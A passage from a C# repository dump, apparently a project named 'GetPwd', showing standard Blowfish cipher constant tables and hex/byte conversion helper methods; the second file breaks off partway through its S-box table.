0xa02369b9,0x655abb50,0x40685a32,0x3c2ab4b3,0x319ee9d5,0xc021b8f7, 671 | 0x9b540b19,0x875fa099,0x95f7997e,0x623d7da8,0xf837889a,0x97e32d77, 672 | 0x11ed935f,0x16681281,0x0e358829,0xc7e61fd6,0x96dedfa1,0x7858ba99, 673 | 0x57f584a5,0x1b227263,0x9b83c3ff,0x1ac24696,0xcdb30aeb,0x532e3054, 674 | 0x8fd948e4,0x6dbc3128,0x58ebf2ef,0x34c6ffea,0xfe28ed61,0xee7c3c73, 675 | 0x5d4a14d9,0xe864b7e3,0x42105d14,0x203e13e0,0x45eee2b6,0xa3aaabea, 676 | 0xdb6c4f15,0xfacb4fd0,0xc742f442,0xef6abbb5,0x654f3b1d,0x41cd2105, 677 | 0xd81e799e,0x86854dc7,0xe44b476a,0x3d816250,0xcf62a1f2,0x5b8d2646, 678 | 0xfc8883a0,0xc1c7b6a3,0x7f1524c3,0x69cb7492,0x47848a0b,0x5692b285, 679 | 0x095bbf00,0xad19489d,0x1462b174,0x23820e00,0x58428d2a,0x0c55f5ea, 680 | 0x1dadf43e,0x233f7061,0x3372f092,0x8d937e41,0xd65fecf1,0x6c223bdb, 681 | 0x7cde3759,0xcbee7460,0x4085f2a7,0xce77326e,0xa6078084,0x19f8509e, 682 | 0xe8efd855,0x61d99735,0xa969a7aa,0xc50c06c2,0x5a04abfc,0x800bcadc, 683 | 0x9e447a2e,0xc3453484,0xfdd56705,0x0e1e9ec9,0xdb73dbd3,0x105588cd, 684 | 0x675fda79,0xe3674340,0xc5c43465,0x713e38d8,0x3d28f89e,0xf16dff20, 685 | 0x153e21e7,0x8fb03d4a,0xe6e39f2b,0xdb83adf7 686 | }; 687 | } 688 | 689 | private uint[] SetupS2() 690 | { 691 | return new uint[] { 692 | 0xe93d5a68,0x948140f7,0xf64c261c,0x94692934,0x411520f7,0x7602d4f7, 693 | 0xbcf46b2e,0xd4a20068,0xd4082471,0x3320f46a,0x43b7d4b7,0x500061af, 694 | 0x1e39f62e,0x97244546,0x14214f74,0xbf8b8840,0x4d95fc1d,0x96b591af, 695 | 0x70f4ddd3,0x66a02f45,0xbfbc09ec,0x03bd9785,0x7fac6dd0,0x31cb8504, 696 | 0x96eb27b3,0x55fd3941,0xda2547e6,0xabca0a9a,0x28507825,0x530429f4, 697 | 0x0a2c86da,0xe9b66dfb,0x68dc1462,0xd7486900,0x680ec0a4,0x27a18dee, 698 | 0x4f3ffea2,0xe887ad8c,0xb58ce006,0x7af4d6b6,0xaace1e7c,0xd3375fec, 699 | 0xce78a399,0x406b2a42,0x20fe9e35,0xd9f385b9,0xee39d7ab,0x3b124e8b, 700 | 0x1dc9faf7,0x4b6d1856,0x26a36631,0xeae397b2,0x3a6efa74,0xdd5b4332, 701 | 0x6841e7f7,0xca7820fb,0xfb0af54e,0xd8feb397,0x454056ac,0xba489527, 702 | 0x55533a3a,0x20838d87,0xfe6ba9b7,0xd096954b,0x55a867bc,0xa1159a58, 703 | 0xcca92963,0x99e1db33,0xa62a4a56,0x3f3125f9,0x5ef47e1c,0x9029317c, 704 | 0xfdf8e802,0x04272f70,0x80bb155c,0x05282ce3,0x95c11548,0xe4c66d22, 705 | 0x48c1133f,0xc70f86dc,0x07f9c9ee,0x41041f0f,0x404779a4,0x5d886e17, 706 | 0x325f51eb,0xd59bc0d1,0xf2bcc18f,0x41113564,0x257b7834,0x602a9c60, 707 | 0xdff8e8a3,0x1f636c1b,0x0e12b4c2,0x02e1329e,0xaf664fd1,0xcad18115, 708 | 0x6b2395e0,0x333e92e1,0x3b240b62,0xeebeb922,0x85b2a20e,0xe6ba0d99, 709 | 0xde720c8c,0x2da2f728,0xd0127845,0x95b794fd,0x647d0862,0xe7ccf5f0, 710 | 0x5449a36f,0x877d48fa,0xc39dfd27,0xf33e8d1e,0x0a476341,0x992eff74, 711 | 0x3a6f6eab,0xf4f8fd37,0xa812dc60,0xa1ebddf8,0x991be14c,0xdb6e6b0d, 712 | 0xc67b5510,0x6d672c37,0x2765d43b,0xdcd0e804,0xf1290dc7,0xcc00ffa3, 713 | 0xb5390f92,0x690fed0b,0x667b9ffb,0xcedb7d9c,0xa091cf0b,0xd9155ea3, 714 | 0xbb132f88,0x515bad24,0x7b9479bf,0x763bd6eb,0x37392eb3,0xcc115979, 715 | 0x8026e297,0xf42e312d,0x6842ada7,0xc66a2b3b,0x12754ccc,0x782ef11c, 716 | 0x6a124237,0xb79251e7,0x06a1bbe6,0x4bfb6350,0x1a6b1018,0x11caedfa, 717 | 0x3d25bdd8,0xe2e1c3c9,0x44421659,0x0a121386,0xd90cec6e,0xd5abea2a, 718 | 0x64af674e,0xda86a85f,0xbebfe988,0x64e4c3fe,0x9dbc8057,0xf0f7c086, 719 | 0x60787bf8,0x6003604d,0xd1fd8346,0xf6381fb0,0x7745ae04,0xd736fccc, 720 | 0x83426b33,0xf01eab71,0xb0804187,0x3c005e5f,0x77a057be,0xbde8ae24, 721 | 0x55464299,0xbf582e61,0x4e58f48f,0xf2ddfda2,0xf474ef38,0x8789bdc2, 722 | 0x5366f9c3,0xc8b38e74,0xb475f255,0x46fcd9b9,0x7aeb2661,0x8b1ddf84, 723 | 0x846a0e79,0x915f95e2,0x466e598e,0x20b45770,0x8cd55591,0xc902de4c, 724 | 0xb90bace1,0xbb8205d0,0x11a86248,0x7574a99e,0xb77f19b6,0xe0a9dc09, 725 | 0x662d09a1,0xc4324633,0xe85a1f02,0x09f0be8c,0x4a99a025,0x1d6efe10, 726 | 0x1ab93d1d,0x0ba5a4df,0xa186f20f,0x2868f169,0xdcb7da83,0x573906fe, 727 | 0xa1e2ce9b,0x4fcd7f52,0x50115e01,0xa70683fa,0xa002b5c4,0x0de6d027, 728 | 0x9af88c27,0x773f8641,0xc3604c06,0x61a806b5,0xf0177a28,0xc0f586e0, 729 | 0x006058aa,0x30dc7d62,0x11e69ed7,0x2338ea63,0x53c2dd94,0xc2c21634, 730 | 0xbbcbee56,0x90bcb6de,0xebfc7da1,0xce591d76,0x6f05e409,0x4b7c0188, 731 | 0x39720a3d,0x7c927c24,0x86e3725f,0x724d9db9,0x1ac15bb4,0xd39eb8fc, 732 | 0xed545578,0x08fca5b5,0xd83d7cd3,0x4dad0fc4,0x1e50ef5e,0xb161e6f8, 733 | 0xa28514d9,0x6c51133c,0x6fd5c7e7,0x56e14ec4,0x362abfce,0xddc6c837, 734 | 0xd79a3234,0x92638212,0x670efa8e,0x406000e0 735 | }; 736 | } 737 | 738 | private uint[] SetupS3() 739 | { 740 | return new uint[] { 741 | 0x3a39ce37,0xd3faf5cf,0xabc27737,0x5ac52d1b,0x5cb0679e,0x4fa33742, 742 | 0xd3822740,0x99bc9bbe,0xd5118e9d,0xbf0f7315,0xd62d1c7e,0xc700c47b, 743 | 0xb78c1b6b,0x21a19045,0xb26eb1be,0x6a366eb4,0x5748ab2f,0xbc946e79, 744 | 0xc6a376d2,0x6549c2c8,0x530ff8ee,0x468dde7d,0xd5730a1d,0x4cd04dc6, 745 | 0x2939bbdb,0xa9ba4650,0xac9526e8,0xbe5ee304,0xa1fad5f0,0x6a2d519a, 746 | 0x63ef8ce2,0x9a86ee22,0xc089c2b8,0x43242ef6,0xa51e03aa,0x9cf2d0a4, 747 | 0x83c061ba,0x9be96a4d,0x8fe51550,0xba645bd6,0x2826a2f9,0xa73a3ae1, 748 | 0x4ba99586,0xef5562e9,0xc72fefd3,0xf752f7da,0x3f046f69,0x77fa0a59, 749 | 0x80e4a915,0x87b08601,0x9b09e6ad,0x3b3ee593,0xe990fd5a,0x9e34d797, 750 | 0x2cf0b7d9,0x022b8b51,0x96d5ac3a,0x017da67d,0xd1cf3ed6,0x7c7d2d28, 751 | 0x1f9f25cf,0xadf2b89b,0x5ad6b472,0x5a88f54c,0xe029ac71,0xe019a5e6, 752 | 0x47b0acfd,0xed93fa9b,0xe8d3c48d,0x283b57cc,0xf8d56629,0x79132e28, 753 | 0x785f0191,0xed756055,0xf7960e44,0xe3d35e8c,0x15056dd4,0x88f46dba, 754 | 0x03a16125,0x0564f0bd,0xc3eb9e15,0x3c9057a2,0x97271aec,0xa93a072a, 755 | 0x1b3f6d9b,0x1e6321f5,0xf59c66fb,0x26dcf319,0x7533d928,0xb155fdf5, 756 | 0x03563482,0x8aba3cbb,0x28517711,0xc20ad9f8,0xabcc5167,0xccad925f, 757 | 0x4de81751,0x3830dc8e,0x379d5862,0x9320f991,0xea7a90c2,0xfb3e7bce, 758 | 0x5121ce64,0x774fbe32,0xa8b6e37e,0xc3293d46,0x48de5369,0x6413e680, 759 | 0xa2ae0810,0xdd6db224,0x69852dfd,0x09072166,0xb39a460a,0x6445c0dd, 760 | 0x586cdecf,0x1c20c8ae,0x5bbef7dd,0x1b588d40,0xccd2017f,0x6bb4e3bb, 761 | 0xdda26a7e,0x3a59ff45,0x3e350a44,0xbcb4cdd5,0x72eacea8,0xfa6484bb, 762 | 0x8d6612ae,0xbf3c6f47,0xd29be463,0x542f5d9e,0xaec2771b,0xf64e6370, 763 | 0x740e0d8d,0xe75b1357,0xf8721671,0xaf537d5d,0x4040cb08,0x4eb4e2cc, 764 | 0x34d2466a,0x0115af84,0xe1b00428,0x95983a1d,0x06b89fb4,0xce6ea048, 765 | 0x6f3f3b82,0x3520ab82,0x011a1d4b,0x277227f8,0x611560b1,0xe7933fdc, 766 | 0xbb3a792b,0x344525bd,0xa08839e1,0x51ce794b,0x2f32c9b7,0xa01fbac9, 767 | 0xe01cc87e,0xbcc7d1f6,0xcf0111c3,0xa1e8aac7,0x1a908749,0xd44fbd9a, 768 | 0xd0dadecb,0xd50ada38,0x0339c32a,0xc6913667,0x8df9317c,0xe0b12b4f, 769 | 0xf79e59b7,0x43f5bb3a,0xf2d519ff,0x27d9459c,0xbf97222c,0x15e6fc2a, 770 | 0x0f91fc71,0x9b941525,0xfae59361,0xceb69ceb,0xc2a86459,0x12baa8d1, 771 | 0xb6c1075e,0xe3056a0c,0x10d25065,0xcb03a442,0xe0ec6e0e,0x1698db3b, 772 | 0x4c98a0be,0x3278e964,0x9f1f9532,0xe0d392df,0xd3a0342b,0x8971f21e, 773 | 0x1b0a7441,0x4ba3348c,0xc5be7120,0xc37632d8,0xdf359f8d,0x9b992f2e, 774 | 0xe60b6f47,0x0fe3f11d,0xe54cda54,0x1edad891,0xce6279cf,0xcd3e7e6f, 775 | 0x1618b166,0xfd2c1d05,0x848fd2c5,0xf6fb2299,0xf523f357,0xa6327623, 776 | 0x93a83531,0x56cccd02,0xacf08162,0x5a75ebb5,0x6e163697,0x88d273cc, 777 | 0xde966292,0x81b949d0,0x4c50901b,0x71c65614,0xe6c6c7bd,0x327a140a, 778 | 0x45e1d006,0xc3f27b9a,0xc9aa53fd,0x62a80f00,0xbb25bfe2,0x35bdd2f6, 779 | 0x71126905,0xb2040222,0xb6cbcf7c,0xcd769c2b,0x53113ec0,0x1640e3d3, 780 | 0x38abbd60,0x2547adf0,0xba38209c,0xf746ce76,0x77afa1c5,0x20756060, 781 | 0x85cbfe4e,0x8ae88dd8,0x7aaaf9b0,0x4cf9aa7e,0x1948c25c,0x02fb8a8c, 782 | 0x01c36ae4,0xd6ebe1f9,0x90d4f869,0xa65cdea0,0x3f09252d,0xc208e69f, 783 | 0xb74e6132,0xce77e25b,0x578fdfe3,0x3ac372e6 784 | }; 785 | } 786 | 787 | #endregion 788 | 789 | #region Conversions 790 | 791 | //gets the first byte in a uint 792 | private byte wordByte0(uint w) 793 | { 794 | return (byte)(w / 256 / 256 / 256 % 256); 795 | } 796 | 797 | //gets the second byte in a uint 798 | private byte wordByte1(uint w) 799 | { 800 | return (byte)(w / 256 / 256 % 256); 801 | } 802 | 803 | //gets the third byte in a uint 804 | private byte wordByte2(uint w) 805 | { 806 | return (byte)(w / 256 % 256); 807 | } 808 | 809 | //gets the fourth byte in a uint 810 | private byte wordByte3(uint w) 811 | { 812 | return (byte)(w % 256); 813 | } 814 | 815 | //converts a byte array to a hex string 816 | private string ByteToHex(byte[] bytes) 817 | { 818 | StringBuilder s = new StringBuilder(); 819 | foreach (byte b in bytes) 820 | s.Append(b.ToString("x2")); 821 | return s.ToString(); 822 | } 823 | 824 | //converts a hex string to a byte array 825 | private byte[] HexToByte(string hex) 826 | { 827 | byte[] r = new byte[hex.Length / 2]; 828 | for (int i = 0; i < hex.Length - 1; i += 2) 829 | { 830 | byte a = GetHex(hex[i]); 831 | byte b = GetHex(hex[i + 1]); 832 | r[i / 2] = (byte)(a * 16 + b); 833 | } 834 | return r; 835 | } 836 | 837 | //converts a single hex character to it's decimal value 838 | private byte GetHex(char x) 839 | { 840 | if (x <= '9' && x >= '0') 841 | { 842 | return (byte)(x - '0'); 843 | } 844 | else if (x <= 'z' && x >= 'a') 845 | { 846 | return (byte)(x - 'a' + 10); 847 | } 848 | else if (x <= 'Z' && x >= 'A') 849 | { 850 | return (byte)(x - 'A' + 10); 851 | } 852 | return 0; 853 | } 854 | 855 | #endregion 856 | } 857 | } -------------------------------------------------------------------------------- /GetPwd/Blowfish.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace GetPwd 4 | { 5 | class Blowfish 6 | { 7 | public enum Endian { Little, Big }; 8 | public static readonly int MinUserKeyLength = 1; 9 | public static readonly int MaxUserKeyLength = 56; 10 | public static readonly int BlockSize = 8; 11 | 12 | private static readonly UInt32[] OriginPBox = new UInt32[] { 13 | 0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344, 0xA4093822, 0x299F31D0, 14 | 0x082EFA98, 0xEC4E6C89, 0x452821E6, 0x38D01377, 0xBE5466CF, 0x34E90C6C, 15 | 0xC0AC29B7, 0xC97C50DD, 0x3F84D5B5, 0xB5470917, 0x9216D5D9, 0x8979FB1B 16 | }; 17 | 18 | private static readonly UInt32[,] OriginSBox = new UInt32[4, 256] { 19 | { 20 | 0xD1310BA6, 0x98DFB5AC, 0x2FFD72DB, 0xD01ADFB7, 0xB8E1AFED, 0x6A267E96, 0xBA7C9045, 0xF12C7F99, 0x24A19947, 0xB3916CF7, 0x0801F2E2, 0x858EFC16, 0x636920D8, 0x71574E69, 0xA458FEA3, 0xF4933D7E, 21 | 0x0D95748F, 0x728EB658, 0x718BCD58, 0x82154AEE, 0x7B54A41D, 0xC25A59B5, 0x9C30D539, 0x2AF26013, 0xC5D1B023, 0x286085F0, 0xCA417918, 0xB8DB38EF, 0x8E79DCB0, 0x603A180E, 0x6C9E0E8B, 0xB01E8A3E, 22 | 0xD71577C1, 0xBD314B27, 0x78AF2FDA, 0x55605C60, 0xE65525F3, 0xAA55AB94, 0x57489862, 0x63E81440, 0x55CA396A, 0x2AAB10B6, 0xB4CC5C34, 0x1141E8CE, 0xA15486AF, 0x7C72E993, 0xB3EE1411, 0x636FBC2A, 23 | 0x2BA9C55D, 0x741831F6, 0xCE5C3E16, 0x9B87931E, 0xAFD6BA33, 0x6C24CF5C, 0x7A325381, 0x28958677, 0x3B8F4898, 0x6B4BB9AF, 0xC4BFE81B, 0x66282193, 0x61D809CC, 0xFB21A991, 0x487CAC60, 0x5DEC8032, 24 | 0xEF845D5D, 0xE98575B1, 0xDC262302, 0xEB651B88, 0x23893E81, 0xD396ACC5, 0x0F6D6FF3, 0x83F44239, 0x2E0B4482, 0xA4842004, 0x69C8F04A, 0x9E1F9B5E, 0x21C66842, 0xF6E96C9A, 0x670C9C61, 0xABD388F0, 25 | 0x6A51A0D2, 0xD8542F68, 0x960FA728, 0xAB5133A3, 0x6EEF0B6C, 0x137A3BE4, 0xBA3BF050, 0x7EFB2A98, 0xA1F1651D, 0x39AF0176, 0x66CA593E, 0x82430E88, 0x8CEE8619, 0x456F9FB4, 0x7D84A5C3, 0x3B8B5EBE, 26 | 0xE06F75D8, 0x85C12073, 0x401A449F, 0x56C16AA6, 0x4ED3AA62, 0x363F7706, 0x1BFEDF72, 0x429B023D, 0x37D0D724, 0xD00A1248, 0xDB0FEAD3, 0x49F1C09B, 0x075372C9, 0x80991B7B, 0x25D479D8, 0xF6E8DEF7, 27 | 0xE3FE501A, 0xB6794C3B, 0x976CE0BD, 0x04C006BA, 0xC1A94FB6, 0x409F60C4, 0x5E5C9EC2, 0x196A2463, 0x68FB6FAF, 0x3E6C53B5, 0x1339B2EB, 0x3B52EC6F, 0x6DFC511F, 0x9B30952C, 0xCC814544, 0xAF5EBD09, 28 | 0xBEE3D004, 0xDE334AFD, 0x660F2807, 0x192E4BB3, 0xC0CBA857, 0x45C8740F, 0xD20B5F39, 0xB9D3FBDB, 0x5579C0BD, 0x1A60320A, 0xD6A100C6, 0x402C7279, 0x679F25FE, 0xFB1FA3CC, 0x8EA5E9F8, 0xDB3222F8, 29 | 0x3C7516DF, 0xFD616B15, 0x2F501EC8, 0xAD0552AB, 0x323DB5FA, 0xFD238760, 0x53317B48, 0x3E00DF82, 0x9E5C57BB, 0xCA6F8CA0, 0x1A87562E, 0xDF1769DB, 0xD542A8F6, 0x287EFFC3, 0xAC6732C6, 0x8C4F5573, 30 | 0x695B27B0, 0xBBCA58C8, 0xE1FFA35D, 0xB8F011A0, 0x10FA3D98, 0xFD2183B8, 0x4AFCB56C, 0x2DD1D35B, 0x9A53E479, 0xB6F84565, 0xD28E49BC, 0x4BFB9790, 0xE1DDF2DA, 0xA4CB7E33, 0x62FB1341, 0xCEE4C6E8, 31 | 0xEF20CADA, 0x36774C01, 0xD07E9EFE, 0x2BF11FB4, 0x95DBDA4D, 0xAE909198, 0xEAAD8E71, 0x6B93D5A0, 0xD08ED1D0, 0xAFC725E0, 0x8E3C5B2F, 0x8E7594B7, 0x8FF6E2FB, 0xF2122B64, 0x8888B812, 0x900DF01C, 32 | 0x4FAD5EA0, 0x688FC31C, 0xD1CFF191, 0xB3A8C1AD, 0x2F2F2218, 0xBE0E1777, 0xEA752DFE, 0x8B021FA1, 0xE5A0CC0F, 0xB56F74E8, 0x18ACF3D6, 0xCE89E299, 0xB4A84FE0, 0xFD13E0B7, 0x7CC43B81, 0xD2ADA8D9, 33 | 0x165FA266, 0x80957705, 0x93CC7314, 0x211A1477, 0xE6AD2065, 0x77B5FA86, 0xC75442F5, 0xFB9D35CF, 0xEBCDAF0C, 0x7B3E89A0, 0xD6411BD3, 0xAE1E7E49, 0x00250E2D, 0x2071B35E, 0x226800BB, 0x57B8E0AF, 34 | 0x2464369B, 0xF009B91E, 0x5563911D, 0x59DFA6AA, 0x78C14389, 0xD95A537F, 0x207D5BA2, 0x02E5B9C5, 0x83260376, 0x6295CFA9, 0x11C81968, 0x4E734A41, 0xB3472DCA, 0x7B14A94A, 0x1B510052, 0x9A532915, 35 | 0xD60F573F, 0xBC9BC6E4, 0x2B60A476, 0x81E67400, 0x08BA6FB5, 0x571BE91F, 0xF296EC6B, 0x2A0DD915, 0xB6636521, 0xE7B9F9B6, 0xFF34052E, 0xC5855664, 0x53B02D5D, 0xA99F8FA1, 0x08BA4799, 0x6E85076A 36 | }, 37 | 38 | { 39 | 0x4B7A70E9, 0xB5B32944, 0xDB75092E, 0xC4192623, 0xAD6EA6B0, 0x49A7DF7D, 0x9CEE60B8, 0x8FEDB266, 0xECAA8C71, 0x699A17FF, 0x5664526C, 0xC2B19EE1, 0x193602A5, 0x75094C29, 0xA0591340, 0xE4183A3E, 40 | 0x3F54989A, 0x5B429D65, 0x6B8FE4D6, 0x99F73FD6, 0xA1D29C07, 0xEFE830F5, 0x4D2D38E6, 0xF0255DC1, 0x4CDD2086, 0x8470EB26, 0x6382E9C6, 0x021ECC5E, 0x09686B3F, 0x3EBAEFC9, 0x3C971814, 0x6B6A70A1, 41 | 0x687F3584, 0x52A0E286, 0xB79C5305, 0xAA500737, 0x3E07841C, 0x7FDEAE5C, 0x8E7D44EC, 0x5716F2B8, 0xB03ADA37, 0xF0500C0D, 0xF01C1F04, 0x0200B3FF, 0xAE0CF51A, 0x3CB574B2, 0x25837A58, 0xDC0921BD, 42 | 0xD19113F9, 0x7CA92FF6, 0x94324773, 0x22F54701, 0x3AE5E581, 0x37C2DADC, 0xC8B57634, 0x9AF3DDA7, 0xA9446146, 0x0FD0030E, 0xECC8C73E, 0xA4751E41, 0xE238CD99, 0x3BEA0E2F, 0x3280BBA1, 0x183EB331, 43 | 0x4E548B38, 0x4F6DB908, 0x6F420D03, 0xF60A04BF, 0x2CB81290, 0x24977C79, 0x5679B072, 0xBCAF89AF, 0xDE9A771F, 0xD9930810, 0xB38BAE12, 0xDCCF3F2E, 0x5512721F, 0x2E6B7124, 0x501ADDE6, 0x9F84CD87, 44 | 0x7A584718, 0x7408DA17, 0xBC9F9ABC, 0xE94B7D8C, 0xEC7AEC3A, 0xDB851DFA, 0x63094366, 0xC464C3D2, 0xEF1C1847, 0x3215D908, 0xDD433B37, 0x24C2BA16, 0x12A14D43, 0x2A65C451, 0x50940002, 0x133AE4DD, 45 | 0x71DFF89E, 0x10314E55, 0x81AC77D6, 0x5F11199B, 0x043556F1, 0xD7A3C76B, 0x3C11183B, 0x5924A509, 0xF28FE6ED, 0x97F1FBFA, 0x9EBABF2C, 0x1E153C6E, 0x86E34570, 0xEAE96FB1, 0x860E5E0A, 0x5A3E2AB3, 46 | 0x771FE71C, 0x4E3D06FA, 0x2965DCB9, 0x99E71D0F, 0x803E89D6, 0x5266C825, 0x2E4CC978, 0x9C10B36A, 0xC6150EBA, 0x94E2EA78, 0xA5FC3C53, 0x1E0A2DF4, 0xF2F74EA7, 0x361D2B3D, 0x1939260F, 0x19C27960, 47 | 0x5223A708, 0xF71312B6, 0xEBADFE6E, 0xEAC31F66, 0xE3BC4595, 0xA67BC883, 0xB17F37D1, 0x018CFF28, 0xC332DDEF, 0xBE6C5AA5, 0x65582185, 0x68AB9802, 0xEECEA50F, 0xDB2F953B, 0x2AEF7DAD, 0x5B6E2F84, 48 | 0x1521B628, 0x29076170, 0xECDD4775, 0x619F1510, 0x13CCA830, 0xEB61BD96, 0x0334FE1E, 0xAA0363CF, 0xB5735C90, 0x4C70A239, 0xD59E9E0B, 0xCBAADE14, 0xEECC86BC, 0x60622CA7, 0x9CAB5CAB, 0xB2F3846E, 49 | 0x648B1EAF, 0x19BDF0CA, 0xA02369B9, 0x655ABB50, 0x40685A32, 0x3C2AB4B3, 0x319EE9D5, 0xC021B8F7, 0x9B540B19, 0x875FA099, 0x95F7997E, 0x623D7DA8, 0xF837889A, 0x97E32D77, 0x11ED935F, 0x16681281, 50 | 0x0E358829, 0xC7E61FD6, 0x96DEDFA1, 0x7858BA99, 0x57F584A5, 0x1B227263, 0x9B83C3FF, 0x1AC24696, 0xCDB30AEB, 0x532E3054, 0x8FD948E4, 0x6DBC3128, 0x58EBF2EF, 0x34C6FFEA, 0xFE28ED61, 0xEE7C3C73, 51 | 0x5D4A14D9, 0xE864B7E3, 0x42105D14, 0x203E13E0, 0x45EEE2B6, 0xA3AAABEA, 0xDB6C4F15, 0xFACB4FD0, 0xC742F442, 0xEF6ABBB5, 0x654F3B1D, 0x41CD2105, 0xD81E799E, 0x86854DC7, 0xE44B476A, 0x3D816250, 52 | 0xCF62A1F2, 0x5B8D2646, 0xFC8883A0, 0xC1C7B6A3, 0x7F1524C3, 0x69CB7492, 0x47848A0B, 0x5692B285, 0x095BBF00, 0xAD19489D, 0x1462B174, 0x23820E00, 0x58428D2A, 0x0C55F5EA, 0x1DADF43E, 0x233F7061, 53 | 0x3372F092, 0x8D937E41, 0xD65FECF1, 0x6C223BDB, 0x7CDE3759, 0xCBEE7460, 0x4085F2A7, 0xCE77326E, 0xA6078084, 0x19F8509E, 0xE8EFD855, 0x61D99735, 0xA969A7AA, 0xC50C06C2, 0x5A04ABFC, 0x800BCADC, 54 | 0x9E447A2E, 0xC3453484, 0xFDD56705, 0x0E1E9EC9, 0xDB73DBD3, 0x105588CD, 0x675FDA79, 0xE3674340, 0xC5C43465, 0x713E38D8, 0x3D28F89E, 0xF16DFF20, 0x153E21E7, 0x8FB03D4A, 0xE6E39F2B, 0xDB83ADF7 55 | }, 56 | 57 | { 58 | 0xE93D5A68, 0x948140F7, 0xF64C261C, 0x94692934, 0x411520F7, 0x7602D4F7, 0xBCF46B2E, 0xD4A20068, 0xD4082471, 0x3320F46A, 0x43B7D4B7, 0x500061AF, 0x1E39F62E, 0x97244546, 0x14214F74, 0xBF8B8840, 59 | 0x4D95FC1D, 0x96B591AF, 0x70F4DDD3, 0x66A02F45, 0xBFBC09EC, 0x03BD9785, 0x7FAC6DD0, 0x31CB8504, 0x96EB27B3, 0x55FD3941, 0xDA2547E6, 0xABCA0A9A, 0x28507825, 0x530429F4, 0x0A2C86DA, 0xE9B66DFB, 60 | 0x68DC1462, 0xD7486900, 0x680EC0A4, 0x27A18DEE, 0x4F3FFEA2, 0xE887AD8C, 0xB58CE006, 0x7AF4D6B6, 0xAACE1E7C, 0xD3375FEC, 0xCE78A399, 0x406B2A42, 0x20FE9E35, 0xD9F385B9, 0xEE39D7AB, 0x3B124E8B, 61 | 0x1DC9FAF7, 0x4B6D1856, 0x26A36631, 0xEAE397B2, 0x3A6EFA74, 0xDD5B4332, 0x6841E7F7, 0xCA7820FB, 0xFB0AF54E, 0xD8FEB397, 0x454056AC, 0xBA489527, 0x55533A3A, 0x20838D87, 0xFE6BA9B7, 0xD096954B, 62 | 0x55A867BC, 0xA1159A58, 0xCCA92963, 0x99E1DB33, 0xA62A4A56, 0x3F3125F9, 0x5EF47E1C, 0x9029317C, 0xFDF8E802, 0x04272F70, 0x80BB155C, 0x05282CE3, 0x95C11548, 0xE4C66D22, 0x48C1133F, 0xC70F86DC, 63 | 0x07F9C9EE, 0x41041F0F, 0x404779A4, 0x5D886E17, 0x325F51EB, 0xD59BC0D1, 0xF2BCC18F, 0x41113564, 0x257B7834, 0x602A9C60, 0xDFF8E8A3, 0x1F636C1B, 0x0E12B4C2, 0x02E1329E, 0xAF664FD1, 0xCAD18115, 64 | 0x6B2395E0, 0x333E92E1, 0x3B240B62, 0xEEBEB922, 0x85B2A20E, 0xE6BA0D99, 0xDE720C8C, 0x2DA2F728, 0xD0127845, 0x95B794FD, 0x647D0862, 0xE7CCF5F0, 0x5449A36F, 0x877D48FA, 0xC39DFD27, 0xF33E8D1E, 65 | 0x0A476341, 0x992EFF74, 0x3A6F6EAB, 0xF4F8FD37, 0xA812DC60, 0xA1EBDDF8, 0x991BE14C, 0xDB6E6B0D, 0xC67B5510, 0x6D672C37, 0x2765D43B, 0xDCD0E804, 0xF1290DC7, 0xCC00FFA3, 0xB5390F92, 0x690FED0B, 66 | 0x667B9FFB, 0xCEDB7D9C, 0xA091CF0B, 0xD9155EA3, 0xBB132F88, 0x515BAD24, 0x7B9479BF, 0x763BD6EB, 0x37392EB3, 0xCC115979, 0x8026E297, 0xF42E312D, 0x6842ADA7, 0xC66A2B3B, 0x12754CCC, 0x782EF11C, 67 | 0x6A124237, 0xB79251E7, 0x06A1BBE6, 0x4BFB6350, 0x1A6B1018, 0x11CAEDFA, 0x3D25BDD8, 0xE2E1C3C9, 0x44421659, 0x0A121386, 0xD90CEC6E, 0xD5ABEA2A, 0x64AF674E, 0xDA86A85F, 0xBEBFE988, 0x64E4C3FE, 68 | 0x9DBC8057, 0xF0F7C086, 0x60787BF8, 0x6003604D, 0xD1FD8346, 0xF6381FB0, 0x7745AE04, 0xD736FCCC, 0x83426B33, 0xF01EAB71, 0xB0804187, 0x3C005E5F, 0x77A057BE, 0xBDE8AE24, 0x55464299, 0xBF582E61, 69 | 0x4E58F48F, 0xF2DDFDA2, 0xF474EF38, 0x8789BDC2, 0x5366F9C3, 0xC8B38E74, 0xB475F255, 0x46FCD9B9, 0x7AEB2661, 0x8B1DDF84, 0x846A0E79, 0x915F95E2, 0x466E598E, 0x20B45770, 0x8CD55591, 0xC902DE4C, 70 | 0xB90BACE1, 0xBB8205D0, 0x11A86248, 0x7574A99E, 0xB77F19B6, 0xE0A9DC09, 0x662D09A1, 0xC4324633, 0xE85A1F02, 0x09F0BE8C, 0x4A99A025, 0x1D6EFE10, 0x1AB93D1D, 0x0BA5A4DF, 0xA186F20F, 0x2868F169, 71 | 0xDCB7DA83, 0x573906FE, 0xA1E2CE9B, 0x4FCD7F52, 0x50115E01, 0xA70683FA, 0xA002B5C4, 0x0DE6D027, 0x9AF88C27, 0x773F8641, 0xC3604C06, 0x61A806B5, 0xF0177A28, 0xC0F586E0, 0x006058AA, 0x30DC7D62, 72 | 0x11E69ED7, 0x2338EA63, 0x53C2DD94, 0xC2C21634, 0xBBCBEE56, 0x90BCB6DE, 0xEBFC7DA1, 0xCE591D76, 0x6F05E409, 0x4B7C0188, 0x39720A3D, 0x7C927C24, 0x86E3725F, 0x724D9DB9, 0x1AC15BB4, 0xD39EB8FC, 73 | 0xED545578, 0x08FCA5B5, 0xD83D7CD3, 0x4DAD0FC4, 0x1E50EF5E, 0xB161E6F8, 0xA28514D9, 0x6C51133C, 0x6FD5C7E7, 0x56E14EC4, 0x362ABFCE, 0xDDC6C837, 0xD79A3234, 0x92638212, 0x670EFA8E, 0x406000E0 74 | }, 75 | 76 | { 77 | 0x3A39CE37, 0xD3FAF5CF, 0xABC27737, 0x5AC52D1B, 0x5CB0679E, 0x4FA33742, 0xD3822740, 0x99BC9BBE, 0xD5118E9D, 0xBF0F7315, 0xD62D1C7E, 0xC700C47B, 0xB78C1B6B, 0x21A19045, 0xB26EB1BE, 0x6A366EB4, 78 | 0x5748AB2F, 0xBC946E79, 0xC6A376D2, 0x6549C2C8, 0x530FF8EE, 0x468DDE7D, 0xD5730A1D, 0x4CD04DC6, 0x2939BBDB, 0xA9BA4650, 0xAC9526E8, 0xBE5EE304, 0xA1FAD5F0, 0x6A2D519A, 0x63EF8CE2, 0x9A86EE22, 79 | 